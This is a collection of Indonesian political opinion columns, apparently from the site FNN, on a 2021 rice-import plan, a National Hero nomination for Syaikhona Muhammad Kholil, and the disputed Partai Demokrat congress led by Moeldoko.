PEMERINTAH berencana mengimpor satu juta ton beras. Alasannya untuk menjaga ketersediaan pangan, termasuk stabilisasi pasokan dan harga komoditas pangan dalam negeri di tengah pandemi Covid-19. Impor itu dilakukan untuk menjaga ketersediaan stok beras sebesar 1-1,5 juta ton, setelah adanya bantuan sosial beras kepada Keluarga Penerima Manfaat Program Keluarga Harapan (KPM PKH), dan pandemi Covid-19. Satu juta ton impor itu meliputi 500.000 ton beras untuk cadangan beras pemerintah dan 500.000 ton beras sesuai kebutuhan Badan Urusan Logistik (Bulog). Rencana impor tersebut disampaikan Menteri Koordinator Bidang Ekonomi, Airlangga Hartarto, saat rapat kerja Kementerian Perdagangan, Kamis, 4 Maret 2021. Tidak jelas impor beras itu dilakukan dari negara mana. Sejumlah negara yang selama ini pengekspor beras, seperti Thailand dan Vietnam, tidak mengekspor beras sejak corona mewabah. Alasannya, pemerintahan negara tersebut lebih mengutamakan stok dalam negerinya masing-masing, mengingat pandemi Covid-19 belum bisa dipastikan kapan berakhir. Kabarnya, Indonesia mencoba melakukan lobi ke Republik Rakyat China (RRC). Padahal, negara tersebut juga ikut terpukul akibat corona yang berasal dari Wuhan, awal tahun 2020 lalu. China pun diperkirakan akan mengutamakan kebutuhan dalam negerinya, mengingat jumlah penduduknya yang mencapai 1,4 miliar lebih. Bagi pemerintah komunis China, mengamankan berbagai kebutuhan dalam negeri sangat penting, mengingat perseteruannya dengan Amerika Serikat, baik dalam masalah perdagangan maupun kasus Laut China Selatan masih terus memanas. Lalu apakah tepat pemerintah mencangkan impor beras di saat para petani panen raya? Kenapa pemerintah tidak mengutamakan produksi dalam negeri? Padahal, menurut Badan Pusat Statistik (BPS), produksi padi mengalami kenaikan 0,08 persen atau 45,17 ribu ton, dari 54,60 juta ton gabah kering giling (GKG) pada 2019 menjadi 54,65 juta ton tahun 2020. Atau masing-masing setara beras 31,31 juta ton (2019) dan 31,33 juta ton (2020). Nah, tahun 2021 ini BPS juga memperkirakan produksi beras nasional berpotensi naik 4,86 persen dibanding tahun lalu. Kenaikan tersebut, menurut Kepala BPS Suhariyanto, didukung panen raya yang menunjukkan tren positif di awal tahun ini. Meski potensi luas panen sangat bagus dan nenjanjikan, namun tetap waspada. Hal tersebut melihat kenyataan yang terjadi berupa hujan dan banjir yang bisa menyebabkan gagal panen. Kembali ke impor beras satu juta ton. Itu untuk kepentingan siapa dan menguntungkan siapa? Yang jelas, petani menolak hal itu. Sebab, impor tersebut dapat merusak harga padi yang mereka hasilkan. Buat apa impor? Padahal, Bulog dan Kementerian Pertanian senantiasa menyebutkan produksi dan stok beras nasional aman. Apakah kalimat tersebut dimaksudkan untuk membuat ABS (Asal Bapak Senang), dan memghibur rakyat dari ancaman krisis pangan? Menyangkut produksi, lagi-lagi kita melihat angka yang disuguhkan BPS. Meski dilanda banjir di beberapa daerah, dan hujan deras yang dapat menyebabkan gagal panen, ternyata produksi beras periode Januari sampai April 2021 mencapai 14,54 juta ton. Angka tersebut naik 3,08 juta ton (26,84 persen) dibandingkan produksi beras pada subround yang sama tahun 2020, sebanyak 11,46 juta ton. Buat apa impor satu juta ton beras itu kalau produksi aman? Akan lebih baik, pemerintah menyerap produksi petani. Sebab, hal itu menyangkut kepedulian dan nasionalisme pemerintah kepada petani. Sekali lagi, buat apa impor beras itu Airlangga? Bukankah bos Anda, Presiden Joko Widodo baru saja mengajak seluruh takyat membenci barang-barang impor? Jangan-jangan kepentingan bisnis yang paling menonjol pada impor tersebut. Sebab, biasanya Bulog yang mendapatkan penugasan dari pemerintah akan mensubkannya ke perusahaan swasta sebagaimana yang terjadi selama ini, termasuk dalam urusan impor daging sapi dan kerbau. Satu juta ton impor itu adalah bisnis yang menggiurkan dan menguntungkan. **

Syaikhona Muhammad Kholil: Mengapa Harus Pahlawan? (1)

By Mochamad Toha Surabaya, FNN - Madura itu memang gudangnya ulama. Salah satu ulama besar yang berperan penting dalam melawan kolonialisme dan konstruksi Islam se-Nusantara itu adalah Syaikhona Muhammad Kholil yang berasal dari Bangkalan Madura, Jawa Timur. Kontribusi Syaikhona Kholil dalam gerakan nasionalisme yaitu dengan aktif memberdayakan masyarakat dalam bidang agama, pendidikan, sosial kemasyarakatan, politik, dan sebagainya. Syaikhona Kholil itu menjadi titik sentral penempaan dan pembibitan para calon pejuang dan pahlawan. Hal ini tidak juga terbantahkan dalam fakta sejarah. Santri-santri binaan Syaikhona Kholil hampir semuanya menjadi pejuang dan gigih. Beberapa diantaranya bahkan telah dinobatkan sebagai pejuang dan Pahlawan Nasional. Satu diantaranya yaitu pendiri Nahdlatul Ulama (NU) KH Hasyim Asy'ari. Dalam sidangnya pada 25 Januari 2021, Tim Peneliti dan Pengkaji Gelar Daerah (TP2GD) Kabupaten Bangkalan, Madura, Jawa Timur, sepakat mengusulkan Syaikhona Muhammad Kholil sebagai calon Pahlawan Nasional. Kemudian dilanjutkan pada Gubernur Jawa Timur Khofifah Indar Parawansa untuk diproses lebih lanjut ke Kementerian Sosial RI. Untuk itu maka DPD Partai Golkar Jatim mengadakan Seminar dan Webinar Nasional dalam rangka Pengusulan Gelar Pahlawan Nasional pada Syaikhona Muhammad Kholil bin Abdul Latif dengan Keynote Speaker Khofifah Indar Parawansa pada Selasa, 9 Maret 2021. Dalam catatan TP2GD, Syaikhona Muhammad Kholil memilih perjuangan kultural melalui jalan pendidikan, sosial, dan agama dalam kontribusinya terhadap bangsa dan negara. Perjuangan dan kontribusi Syaikhona Muhammad Kholil sebagai Guru Pahlawan, Guru Para Alim dan Ulama, Guru Para Pejuang. Riwayat perjuangan ini disusun berdasarkan kontribusi Syaikhona Muhammad Kholil tersebut dalam kehidupan berbangsa dan bernegara. Syaikhona Muhammad Kholil lahir di Bangkalan pada 25 Mei 1835 Masehi (9 Shofar 1251 Hijriah). Pada usia anak-anak, Syaikhona Kholil berguru ke Tuan Guru Dawuh, yang lebih dikenal dengan Bujuk Dawuh, di Desa Mlajah, Bangkalan. Sekitar 1850-an, ketika usianya menjelang dewasa, putra pasangan KH Abdul Latif-Nyai Siti Khadijah ini belajar pada beberapa pondok pesantren yang ada di Pulau Jawa: Pondok Pesantren Langitan Tuban, tepatnya di Desa Mandungan, Widang, Tuban, Jatim, Muhammad Kholil mondok di Pondok Pesantren Langitan untuk memperdalam ilmu Nahwu dan Sharraf yang diasuh oleh KH Mohammad Noer (wafat 1870 M). Pondok Pesantren Canga'an Bangil, Jatim, setelah boyong dari Pondok Pesantren Langitan Tuban, Muhammad Kholil pindah ke Pondok Pesantren Canga'an Bangil, Jatim yang diasuh oleh KH Asyik untuk memperdalam ilmu alat dan ilmu fiqih. Pondok Pesantren Darussalam, Kebon Candi, Pasuruan. Sepulangnya dari Pondok Pesantren Canga'an Bangil, Jatim, Muhammad Kholil pindah ke Pondok Pesantren Darussalam, Kebon Candi, Pasuruan yang diasuh oleh Kiai Arif. Pondok Pesantren Sidogiri, Pasuruan. Di saat mondok di Pondok Pesantren Kebon Candi, Muhammad Kholil belajar pula kepada KH Noer Hasan yang menetap di Sidogiri, 7 km dari Kebon Candi. Pondok Pesantren Salafiyah Syafi’iyah Setail, Genteng Banyuwangi. Pesantren terakhir di Pulau Jawa yang dituju Muhammad Kholil adalah Pondok Pesantren Salafiyah Syafi’iyah Setail, Genteng Banyuwangi yang diasuh oleh KH Abdul Bashar (wafat 1915). Pada 1276 H/1859 M, Muhammad Kholil belajar di Makkah. Di Makkah Muhammad Kholil belajar dengan Syeikh Nawawi Al-Bantani (Guru Ulama Indonesia dari Banten). Diantara gurunya di Makkah ialah Syeikh Utsman bin Hasan Ad-Dimyathi, Sayyid Ahmad bin Zaini Dahlan, Syeikh Mustafa bin Mohammad Al-Afifi Al-Makki, Syiekh Abdul Hamid bin Mahmud Asy-Syarwani. Beberapa sanad hadits yang musalsal diterima dari Syeikh Nawawi Al-Bantani dan Abdul Ghani bin Subuh bin Iswmail Al-Bimawi (Bima, Sumbawa). Sebagai pemuda Jawa (sebutan yang digunakan orang Arab waktu itu untuk menyebut orang Indonesia) pada umumnya, Muhammad Kholil belajar kepada para Syeikh dari berbagai madzhab yang mengajar di Masjid Al-Haram. Namun, kecenderungannya untuk mengikuti Madzhab Syafi'i tidak dapat disembunyikan. Karena itu, tak heran kalau kemudian dia lebih banyak mengaji kepada para Syeikh yang bermadzhab Syafi'i. Syaikhona Muhammad Kholil memilih perjuangan kultural melalui jalan pendidikan, sosial, dan agama dalam kontribusinya terhadap bangsa dan negara. Perjuangan dan kontribusinya sebagai Guru Pahlawan, Guru Para Alim dan Ulama, Guru Para Pejuang bisa dideskripsikan sebagai berikut. Penentu Lahirnya NU Syaikhona Muhammad Kholil memberikan restu pada Kiai Hasyim Asy'ari untuk mendirikan Jam'iyah Nahdlatul Ulama (NU) sebagai wadah organisasi dan perjuangan ulama dan pengikut Islam Ahlusunnah wal Jamaa'ah. Dalam kurun waktu awal tahun 1924, di tengah kegelisahan massif kaum pesantren ini, Kiai Hasyim terus berikhtiar, bermunajat dan beristikharoh untuk mendapat petunjuk dan isyarat. Namun, petunjuk dan isyarat yang diharapkan tidak kunjung datang juga. Isyarat dan inspirasi justru datang dari Syaikhona Muhammad Kholil. Syaikhona Kholil memanggil Kiai As'ad Syamsul Arifin mengantarkan tongkat kepada Kiai Hasyim Asy'ari. Kiai As'ad dengan patuh mengantarkan tongkat ini kepada Kiai Hasyim Asy'ari. Setelah menerima tongkat ini, Kiai Hasyim berujar bahwa beliau mantap untuk mendirikan sebuah organisasi yang dapat mewadahi pemikiran dan gerakan kalangan pesantren. Dalam penghujung akhir 1024 itu juga, Kiai As'ad kembali dipanggil oleh Syaikhona Kholil untuk mengantarkan tasbih kepada Kiai Hasyim Asy'ari. Kiai As'ad lalu membungkukkan kepalanya menerima pengalungan tasbih langsung dari Syaikhona Muhammad Kholil, dan dengan cara membungkukkan kepalanya pula Kiai As'ad menyerahkan untuk diambil langsung oleh Kiai Hasyim Asy'ari. Lalu Kiai Hasyim Asy'ari berujar, siapa saja yang melawan ulama (dalam organisasi ini) akan hancur. KH Hasyim Asy'ari kemudian mendirikan wadah perjuangan ulama Ahlussunnah wal Jamaah dengan nama Nahdlatul Ulama. Menjadi Embrio Lahirnya Pergerakan Nasional dan Nasionalisme di Kalangan Pesantren. Syaikhona Muhammad Kholil memberikan pencerahan kebangkitan pergerakan nasional, nasionalisme melalui jalan pendidikan. Pergerakan ini kiranya menjadi strategi tersendiri setelah melihat gurunya, Syaikh Nawawi Banten harus rela pondok dan langgarnya dibubarkan oleh Pemerintah Hindia Belanda karena terlalu lantang menggelorakan perjuangan melawan penjajahan. Tempat penempaan dan pencerahan para santri untuk melahirkan kecintaan pada bangsanya dan melepaskan diri dari berbagai ketidakadilan akibat kolonialisme. Gerakan Politik Etik di Eropa dilaksanakan juga di Nusantara dengan maksud ingin membalas jasa rakyat. Para pemimpin pergerakan melakukan upaya pendidikan dan mendirikan sekolah-sekolah untuk kaum pribumi. Dalam konteks pendidikan, Syaikhona Muhammad Kholil memberikan pendidikan Islam sebagai jalan utama untuk memberdayakan umat dan membangkitkan semangat egaliter untuk bersama. Pemberdayaan melalui pendidikan Islam, memberikan pencerahan luar biasa kepada para santri untuk proses penemuan identitas diri ini muncul pertama-tama karena pengalaman negatif dijajah oleh Belanda. Selanjutnya menumbuhkan kesadaran kolektif sebagai suatu bangsa. Syaikhona Muhammad Kholil menjadi titik sentral penempaan dan pembibitan para calon pejuang dan pahlawan. Hal ini tidak terbantahkan dalam fakta sejarah. Santri-santri binaan Syaikhona Muhammad Kholil telah banyak menjadi pejuang yang gigih, beberapa diantaranya bahkan telah dinobatkan sebagai pejuang dan pahlawan nasional. Sebut saja santri-santri Beliau diantaranya, KH Hasyim Asy'ari, KH Wahab Hasbullah, Kiai As'ad Syamsul Arifin, KH Manaf Abdul Karim, KH Mohammad Shiddiq, KH Bisri Syansuri, Kiai Munawwir Krapyak, Kiai Maksum, KH Abdullah Mubarok, dan lainnya. Para santri Syaikhona Muhammad Kholil inilah yang kemudian terangkai sebagai jejaring penebar pemikiran dan gerakan Syaikhona Muhammad Kholil, yang secara aktif menguatkan perjuangan agama dari kalangan pesantren. Santri-santri alumni didikan Syaikhona Muhammad Kholil yang menerjemahkan pemikiran dan gerakan sang guru. Pemerintah Hindia-Belanda mengakai jika perlawanan-perlawanan yang muncul di seantero Jawa, dan Nusantara berasal dari kaum santri. (Bersambung) ***

Permainan Kasar & Primitif Moeldoko

by M. Rizal Fadillah Bandung FNN – Kongres Luar Biasa (KLB) Partai Demokrat di Sibolangit, Sumatera Utara (Sumut) disebut-sebut sebagai kongres yang abal-abal karena sudah dipastikan melabrak Anggaran Dasar dan Anggaran Rumah Tangga (AD/ART) Partai Demokrat. Tetapi peduli apa, karena ini bukan misi kader untuk memperbaiki citra Partai Demokrat. Melainkan ada misi lain yang lebih besar. KLB Partai Demokrat Jum’at (05/06/2021) lalu, di Kabupaten Deli Serdang tersebut, misinya hanya untuk mengacak-acak partai. Selain itu, mengambilalih kepemimpinan Partai Demokrat secara paksa. Dimulai dengan pembelahan dua kepengurusan. Ujungnya adalah keluarnya SK Menteri Hukum dan Hak Asasi Manusia (Menkumham) yang mengesahkan kepengurusan KLB. Rakyat sudah dapat membaca dengan mudah kalau langkah ini adalah permainan kasar Moeldoko yang menjadi kepanjangan tangan kekuasaan. Bukan hanya kepentingan pribadi semata. Moeldoko adalah Kepala Kantor Staf Kepresidenan (KSP) yang bermukim di Istana. Muncul pernyataan bahwa Polisi tidak mengizinkan, tetapi tidak membubarkan. Masalah internal katanya. Agus Harimurti Yudhoyono (AHY) sang Ketum yang diruntuhkan mengancam untuk melawan. Sementara Soesilo Bambang Yudhoyono (SBY) minta Menkumham agar tidak mengesahkan hasil KLB. Ketua Bidang bapilu serta Organisasi Kaderisasi dan Keanggotaan (OKK) DPP Partai Demokrat, Andi Arief berkoar kalau bakal Istana digeruduk. Tentu semua akan melihat bukti-bukti nyata untuk membuat Istana gentar. Jika tidak, ya nasib bakalan berbicara lain. Menkumham kemungkinan saja bakal mengesahkan hasil KLB di Deli Serdang. Artinya, matilah SBY dan AHY. Demokrat abal-abal berubah menjadi Demokrat baru di bawah genggaman Istana, koalisi hasil kooptasi atau aneksasi. Persetan dengan demokrasi, katanya. Demokrasi akhirnya dipersetankan dan diplesetkan menjadi democrazy. Kekuasaan orang-orang gila. Gila kekuasaan dan gila kejumawaan. Dalam era transaksional, menjadi gila kekayaan juga. Aapakah itu memalukan? Sudah terlalu banyak kasus hingga kebal dengan peristiwa memalukan atau memilukan. Yang penting tujuan dapat tercapai, dan rakyat aman aman atau diam-diam saja. Sebenarnya sinyal gerakan kudeta sudah tercium beberapa waktu lalu. Sinyal tersebut sudah menjadi pembahasan publik. Akan tetapi AHY dan SBY tak nampu menahan gerakan hingga terlaksana KLB di Deli Serdang. Gerakan gaya Orde Baru dijalankan oleh rezim berbau Orde Lama. Membuldoser reformasi yang goyah dan hampir mati di serang pandemi. Virus politik suka-suka. Permainan kasar atau radikalisme Moeldoko untuk satu tahap telah berhasil membuat pembelahan nyata-nyata terjadi di Partai Demokrat. SBY tengah mengurut dada sambil berdendang "sakitnya tuh disini". Sementara itu, mungkin Jokowi menyanyi "kau yang mulai, kau yang mengakhiri". Lalu Moeldoko menimpali dengan lagu Queen "we are the champions" walaupun mungkin lirik pendek "we can be heroes, just for one day" David Bowie. Akhirnya permainan kasar Moeldoko tidak akan mendapat peluit pelanggaran dari wasit. Karena wasit mengatakan permainan itu adalah Aku. Aku ada di dalamnya. Aku wasit bersama dengan Moeldoko. Jangan tanggung kalau mau melawan Moeldoko. Karena yang dilawan adalah wasit yang merangkap sebagai pemain utama dan pemain cadangan. Penulis adalah Pemerhati Politik dan Kebangsaan.

Ring Tinju Moelkowi VS Beyehaye

by M. Rizal Fadillah Bandung FNN - Setelah penantang Moelkowi dengan cara tidak etis berhasil didaulat menjadi penantang juara betahan Beyehaye untuk kelas nggak berat-berat’s amat, maka pertarungan kini disiapkan oleh petinju kedua kubu. Kubu Moelkowi berlatih keras di “Sasana Merdeka". Sedangkan Beyehaye berlatih di “Sasana Chike AS". Saat timbang badan, kedua petinju adu mulut. Untung saja keduanya pakai masker, jadi agak aman-aman saja. Nggak bau-bau amat. Moelkowi bercelana merah sesumbar dengan suara keras akan menjatuhkan Beyehaye di ronde ketiga. Sementara Beyehaye yang bercelana biru meyakinkan bisa menjatuhkan di ronde keempat. Mengukur kekuatan diri, minimal TKO, katanya. Pertarungan akan dilaksanakan besok di Mahkamah Square Garden. Di tengah persiapan pertarungan tersebut, para cukong petaruh mulai berhitung dan menyiapkan dana taruhan. Petaruh yang ingin memenangkan Moelkowi jauh lebih siap dana, maklum mereka adalah para Taipan. Beyehaye harus kalah. Apapun caranya dan berapapun biayanya. Pikiran curang memenuhi fikiran. Juri lalu diamat-amati keadaan kehidupan pribadinya. Dicari-cari sana-sini kelemahan dan aibnya. Lalu disiapkan pendekatan-pendekatan yang pas dan jitu. Cukong petaruh Moelkowi intens dan teliti hingga yakin dua dari tiga juri telah seratus persen dipegang. Yang ketiga pun masih digarap hingga waktu pertandingan nanti. Berapapun dana yang dibutuhkan, siap untuk dibayarkan. Juri dan wasit memihak adalah jaminan kesuksesan. Beyehaye berlatih serius menajamkan jab-jab, hook kiri kanan, upper cut, dan straight untuk melakukan serangan. Target Knock Out atau minimal TKO. Sementara Moelkowi disamping menajamkan pukulan serangan, juga memperkuat pertahanan weaving, elbow block, slipping, ducking atau rope a dope. Yang penting jangan KO atau TKO, dengan bertahan hingga akhir ronde, dijamin unggul angka. Juri adalah penentu dan itu telah diamankan Moelkowi. Kemungkinan Moelkowi akan keluar menjadi pemenang. Beyehaye harus menyerahkan sabuk kejuaraan. Sangat terasa sakit hati jika dibegal oleh perampok kawakan dan pembunuh bayaran yang bertopeng wasit dan juri pertarungan. Strategi Moelkowi yang dirancang adalah memancing emosi Beyehaye agar hilang konsentrasi dan memukul tanpa kendali. Bila habis enerji, maka kelak mudah untuk didikte. Diprediksi Tim Beyehaye akan melempar handuk. Wasit pun dipastikan memihak pada Moelkowi yang didukung cukong petaruh dengan finansial tak terbatas. Wasit dan juri adalah manusia. Ada takut ada pula butuh duit. Ring tinju akan menjadi saksi dari pertarungan yang memang tidak adil dan tidak jujur. Pertaurangn yang penuh dengan intik, kelicikan dan kecurangan. Kemenangan yang sudah direncankan dengan kecurangan. Seperti pemilihan presiden yang baru berlalu. Keangkuhan melawan keterpurukan. Keputusasaan yang ditekan oleh kekuasaan. Kejahatan dari rekayasa permainan yang membuang rasa malu atau dosa. Ring politik Moelkowi yang menghalalkan segala cara. Ia adalah cold blooded killer. Penulis Pemerhati Politik dan Kebangsaan.

Samakah Jokowi Dengan Richard Nixon Soal Partai Demokrat?

by Dr. Margarito Kamis SH. M.Hum Jakarta FNN - Agus Harimurti Yudhoyono (AHY), Ketua Umum Partai Demokrat, sejauh ini sah secara hukum. Memang Kongres Luar Biasa (KLB) telah terselenggara di Deli Serdang. Pak Moeldoko terpilih menjadi Ketua Umum dan Dr. Marzuki Ali sebagai Ketua Dewan Pembina. Sayangnya KLB itu tak menggunakan AD/ART terakhir sebagai dasar. Konsekuensinya KLB itu tidak sah. Itu sebabnya layak dipertimbangkan skema playing victim. Bagaimanapun Pak Moeldoko pernah memiliki relasi manis dengan Pak SBY. Tetapi andai bukan playing victim, maka AHY dan Pak Soesilo Bambang Yudhoyono (SBY), Presiden dua periode sekaligus Ketua Majelis Tinggi Partai ini, telah didatangi masalah besar. Hal Tak Terlihat Pembaca FNN yang budiman. Pak SBY telah kumadangkan perang menegakan keadilan dalam kasus ini. Masalahnya siapa yang mau diperangi? Aapakah SK Menteri Hukum dan Hak Asasi Manusia (Menkumham), Pak Moeldoko atau Presiden Jokowi yang mau diperangi? Apa target terdekatnya? Bagaimana amunisi, strategi dan taktik, dan siapa saja yang sebarisan dengan AHY dan Pak SBY? Tetapi sebelum lebih jauh menyusuri koridor itu, saya ingin mengajak Pembaca FNN yang budiman untuk mengenal penilaian negarawan-negarawan Amerika terhadap partai politik. Partai politik dalam penilaian mereka, terlihat buruk. John Kenneth White, dalam Handbook of Party Politics, diedit oleh Richard S Katz dan William Corothy (ed) mengungkap pandangan berkelas dari tiga negarawan Amerika. Mereka adalah mantan Presiden George Wahington, John Adam dan Thomas Jefferson. George Washington, orang pertama yang mengawali praktek pemerintahan presidensial di dunia, seperti ditulis White, menilai buruk partai politik. Washington, tulis White menyatakan “dalam satu pemerintahan monarki, patriotisme mungkin memandang dengan toleran, jika tidak dengan mendukung semangat partai. Tetapi dalam pemerintahan rakyat, pemerintah yang murni pilihan, semangat partai tidak perlu didorong”. Lain Washington, lain pula John Adam, yang menjadi penerusnya sebagai presiden kedua Amerika Serikat. Kata Adam “tidak ada yang aku takuti selain terbelahnya republik menjadi dua partai besar. masing-masing diatur dibawah pimpinannya dan mengambil langkah-langkah yang bertentangan satu sama lain”. Abigail Adam, istri Jhon Adam, memang bukan politikus. Tetapi penilaiannya juga menarik. Katanya “roh partai itu buta, jahat, tertutup, tidak jujur, dan tidak kenal ampun.” Mirip dalam substansinya dengan Abigail, Thomas Jefferson, Presiden ketiga Amerika Serikat ini mengatakan pada tahun 1789 “jika saya tak bisa masuk surga kecuali dengan partai, maka saya rela untuk tak masuk surga“. Amerika, dalam kenyataan sejauh ini, benar-benar terbelah ke dalam dua partai. Partai Republik dan Partai Demokrat. Garis politik keduanya berbeda dalam sejumlah aspek substansial dan tampilan praktisnya. Tetapi apakah kedua partai inilah, yang melukis secara independen wajah sosial, politik, ekonomi dan hukum Amerika? Tak selalu juga. Pelukis sesungguhnya bukan mereka. Mereka tidak selalu bisa menampilkan garis dan keyakinan politiknya secara independen. Hampir tidak ada dari mereka yang mampu menggunakan energinya secara independen untuk menantang ide-ide financial oligarky. Tetapi sudahlah, simpan dulu soal-soal itu. Mari, sejauh yang bisa meraba langkah lanjutan AHY dan SBY, anak dan ayah ini. Akankah SBY yang terlihat mengerti nilai etika dan martabat sebagai orang beradab menjadikan Pak Moeldoko sebagai target? Bila itu dilakukan, jelas Pak ABY menentukan target, sekaligus terlihat kalah level sama Pak Moeldoko. Mengapa begitu? Pak Moeldoko tak bakal bisa berstatus Ketua Umum Partai Demokrat, kalau Presiden Jokowi melalui Menteri Hukum dan Ham, tidak mengesahkan komposisi kepenggurusan Demokrat hasil KLB itu. Sebaliknya, kalau Pak Yasona mengesahkannya, maka Pak Moeldoko resmi berstatus sebagai Ketua Umum Partai Demokrat. Sejauh belum ada SK Menkumham, maka untuk alasan hukum, AHY dan SBY sah dalam status saat ini. Konsekuensinya, tidak tepat menjadikan Pak Moeldoko sebagai sasaran perlawanan. Lalu siapa yang mau dilawan? Presiden Jokowi? Apa argumentasinya? Terlihat sepadan bila Pak SBY melawan Pak Presiden Jokowi. Pak SBY menjadi Presiden dua periode (2004-2009 dan 2009-2014) dan Pak Jokowi juga Presiden dua periode (2014-2019, dan 2019-2024). Jadi, sepadan mereka. Tapi apa argumentasinya? Andai Pak SBY mengidentifikasi Pak Moeldoko sebagai Kepala Staf Kepresidenan (KSP), sehingga secara silogistik Pak SBY menyatakan terdapat hubungan hukum langsung antara Pak Moeldoko dengan Pak Presiden Jokowi, jelas itu logis. Masalahnya, apakah kenyataan itu beralasan hukum dikonstruksi sebagai hal hukum yang menjadi dasar Presiden Jokowi memikul tanggung jawab atas tindakan Pak Moeldoko? Begitulah penalaran hukum atas kasus ini, suka atau tidak. Lain lagi kalau politik. Dalam politik, tidak ada norma yang bersifat imperatif. Pak SBY, tak mungkin tak tahu itu. Pada spekterum ini, Pak SBY harus sangat produktif dan cermat menemukan langkah. Pak SBY meminta, dengan nada apapun kepada pemerintah, khususnya kepada Presiden Jokowi untuk berpegang teguh pada etika politik, bahkan etika personal, jelas sangat beralasan. Tetapi cukupkah itu? Tidak cukup sama sekali. Pak SBY telah berkali-kali menyatakan itu secara terbuka. Kenyataannya, KLB tetap berlangsung dan berakhir dengan hasil yang sejauh ini disangkal AHY dan SBY sebagai abal-abal. Itu sebabnya Pak SBY harus menemukan cara yang mampu membawa Presiden Jokowi ke koridor yang dikehendakinya. Untuk sampai dititk itu, terasa layak membayangkan Pak SBY memperhitungkan hal-hal yang sejauh ini tak terlihat. Bagaimanapun Pak SBY tak mungkin tidak tahu bahwa kehidupan politik nyata selalu dililit dengan ide-ide dan target tak terlihat. Diksi salah pilih Pak Moeldoko dulu, dan meminta ampun kepada Allah Subhanahu Wata’ala atas kesalahannya, itu bagus. Tetapi sebaiknya diksi itu dihentikan. Sebab orang dapat membalik nalar diksi itu menjadi “AHY dimungkinkan jadi Ketum Demokrat” boleh jadi salah juga. Harus Cerdas Bila KLB itu bukan formula playing cictim, maka Pak SBY, harus menggali semua hal tak terlihat pada persitiwa KLB Partai Golkar dan PPP. KLB yang mendatangi kedua partai tersebut, dengan sebab-sebab organisasi yang satu dan lainnya terlihat memiliki kemiripan dengan apa yang dialami Demokrat kini. Demokrat, partai yang netral pada putaran kedua Pligub DKI Jakarta, dan biasa-biasa saja pada Pilres 2015 dan 2019 kemarin, memang terlihat tak pro pemerintah. Tetapi tidak juga oposan, apalagi ekstrim menyediakan ide alternative terhadap kebijakan Pak Jokowi. Kenyataan ini bisa menyulitkan Pak SBY menemukan argumen logis melebel Pak Jokowi gunakan tangan Pak Moeldoko “mencaplok” Demokrat. Walau begitu, apakah Pak SBY dengan semua keterampilan dan koneksi politik internasionalnya tidak memetakan keuntungan politik, yang mungkin diperoleh Pak Jokowi dalam peristiwa ini? Bila iya, bagaimana Pak SBY mendemonstrasikannya? Suka atau tidak, satu-satu kenyataan yang tak bisa disangkal oleh Pak Jokowi adalah status Pak Moeldoko dalam pemerintahan ini. Status officialnya adalah pejabat negara, berada langsung di bawah Presiden. Ini poin utama tata negara. Bukan politik. Berstatus sejelas itu dalam hukum tata negara, memungkinkan Pak SBY mempertimbankan cara partai Demokrat Amerika membongkar keterlibatan Presiden Richard Nixon dalam kasus Watergate tahun 1973 dulu. Bukan karena kebetulan sama-sama mempunyai nama “Partai Demokrat”. Untuk waktu yang lama, Presiden Nixon menyangkal semua tuduhan Partai Demokrat Amerika bahwa dirinya terlibat dalam skandal Watergate. Tetapi langkah-langkah tata negara Partai Demokrat di DPR Amerika berhasil membuat semua sangkalan Nixon, terbukti bohong, bohong dan bohong. Menariknya lagi, sejauh ini argumen Demokrat terlihat begitu terbatas. Sampai dengan artikel ini ditulis minggu siang, Demokrat AHY dan SBY terlihat sangat landai. Spektrum argumennya terlihat terisolasi sebatas politik, dalam balutan prinsip etis demokrasi dan rule of law penyelenggaraan pemerintahan. Apa Pak SBY sengaja membuat landai agar lawan terlena? Kalau KLB sekadar replica playing victim, ya tak bakal ada hal heboh. Bila tidak, maka AHY dan Pak SBY tak boleh gagal menghalau SK pengesahan Kepengurusan Partai Demokrat hasil KLB Deli Serdang. SK Menkumham itu, andai terbit, juga mungkin disambut orang sebagai cara rasa sakit, merendahkan, bahkan penghinaan mendatangi dan menyapa AHY dan Pak SBY. Untuk alasan hukum, SK Menkumham, andai terbit, memiliki dua konsekuensi. Pertama, sejak SK itu terbit, maka AHY dan SBY tidak lagi sah menjadi ketua Umum Demokrat dan Ketua Majelis Tinggi Partai Demokrat. Semua kewenangan Ketua Umum beralih ke Pak Moeldoko. Dengan demikian, Pak Moeldoko memiliki wewenang melakukan tindakan hukum positif dan negatif terhadap seluruh anggota DPR dan DPRD dari Fraksi Partai Demokrat. Kedua, Pak Moeldoko dan kawan-kawan berhak menggunakan Sekretariat Partai Demokrat di dekat Tugu Proklamasi, berikut seluruh property lainnya. Tak ada alasan untuk tak menyerahkan property-property ini kepada mereka. Semoga saja tak terjadi. Memang itu dapat dihentikan sementara. Tetapi penghentian sementara hanya dapat dinyatakan oleh pengadilan melalui putusan sela. Apakah Pak SBY telah memetakan soal ini? Apakah Pak SBY cukup yakin bahwa keadilan tak bisa dikoordinasikan? Pembaca FNN yang budiman, partai memang telah menjadi entitas penting dalam demokrasi dan rule of law. Tetapi Woodrow Wilson, Presiden Amerika ke-28, tak melihat partai sebagai hal penting. Baginya tanggung jawab partai tak lebih dari sekadar fiksi oleh kawanan gerombolan gembala yang kebingunan. “Saya tidak percaya pada partai. Saya percaya pada orang. Saya tidak menuntut tanggung jawab partai. Saya menuntut tanggung jawab orang. Saya tidak mendapat ekspresi pendapat yang tunggal dari partai. Saya mendapatkannya dari orang”, begitu kata William Graham Summer yang dikutip White. Pembaca FNN yang budiman, sembari waspada pada Covid-19, mari menantikan AHY dan SBY menemukan cara mencegah terbitnya SK Menkumham. Bagaimana cara Pak SBY, dan bukan AHY yang membawa Presiden Jokowi, masuk ke dalam penyelesaian kasus ini, jelas mengasyikan untuk dinantikan. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Saat Direktur Pajak Menjadi Perampok Pajak

